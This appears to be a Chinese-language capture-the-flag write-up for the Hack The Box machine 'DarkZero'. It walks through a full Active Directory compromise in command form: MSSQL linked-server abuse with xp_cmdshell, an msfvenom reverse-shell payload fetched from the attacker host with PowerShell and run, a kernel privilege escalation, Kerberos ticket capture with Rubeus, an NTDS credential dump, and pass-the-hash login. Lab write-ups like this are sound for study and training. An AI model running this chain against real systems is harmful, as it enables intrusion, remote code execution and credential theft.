DarkZero
Information Gathering
做信息收集的时候,发现是一台Windows域靶机,开放了很多内网相关的端口。我们也发现了一个域名darkzero.htb,我们可以添加到hosts文件中
sudo rustscan -a 10.10.11.89 -r 1-65535 -- -A -sV -oN result.txt -Pn -max-retries=0

从commonName值中可以看到darkzero-DC01-CA,猜测该Windows机器使用了ADCS技术
Foothold
靶机一开始给了一个凭据给我们,可以使用这个凭据登录MSSQL服务

impacket-mssqlclient darkzero.htb/'john.w':'RFulUtONCOL!'@10.10.11.89 -windows-auth

枚举linkserver,发现另一个数据库链接DC02.darkzero.ext。可以使用这个数据库进行反弹shell
enum_links
use_link "DC02.darkzero.ext"
exec('xp_cmdshell "whoami"')


msfvenom生成一个payload,利用xp_cmdshell进行反弹shell
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=tun0 lport=9000 -f exe -o shell.exe
exec('xp_cmdshell "powershell iwr http://10.10.16.31/shell.exe -outfile C:\Users\Public\shell.exe"')
exec('xp_cmdshell "C:\Users\Public\shell.exe"')


Privilege Escalation
运行msf的exploit_suggester模块,发现了一个内核漏洞编号cve_2024_30088,使用这个模块可以进行本地提权
run post/multi/recon/local_exploit_suggester


读取user.txt内容

LatervalMovement
获取SYSTEM权限后,上传Rubeus.exe进行监听
Rubeus.exe monitor /interval:1 /nowrap
EXEC xp_dirtree '\\DC02.darkzero.ext\\share'


获取以上票据后,将其写入到dc01_tgt.kirbi文件中并完成转化,同步DC的时间
vim dc01_tgt.kirbi
cat dc01_tgt.kirbi|base64 -d > ticket.kirbi
impacket-ticketConverter ticket.kirbi admin.ccache
export KRB5CCNAME=admin.ccache
sudo ntpdate -u 10.10.11.89

最后使用secretdump下载NTDS.DIT文件
impacket-secretsdump -k -no-pass darkzero.htb/DC01\$@DC01.darkzero.htb

evil-winrm -i 10.10.11.89 -u administrator -H 5917507bdf2ef2c2b0a869a1cba40726

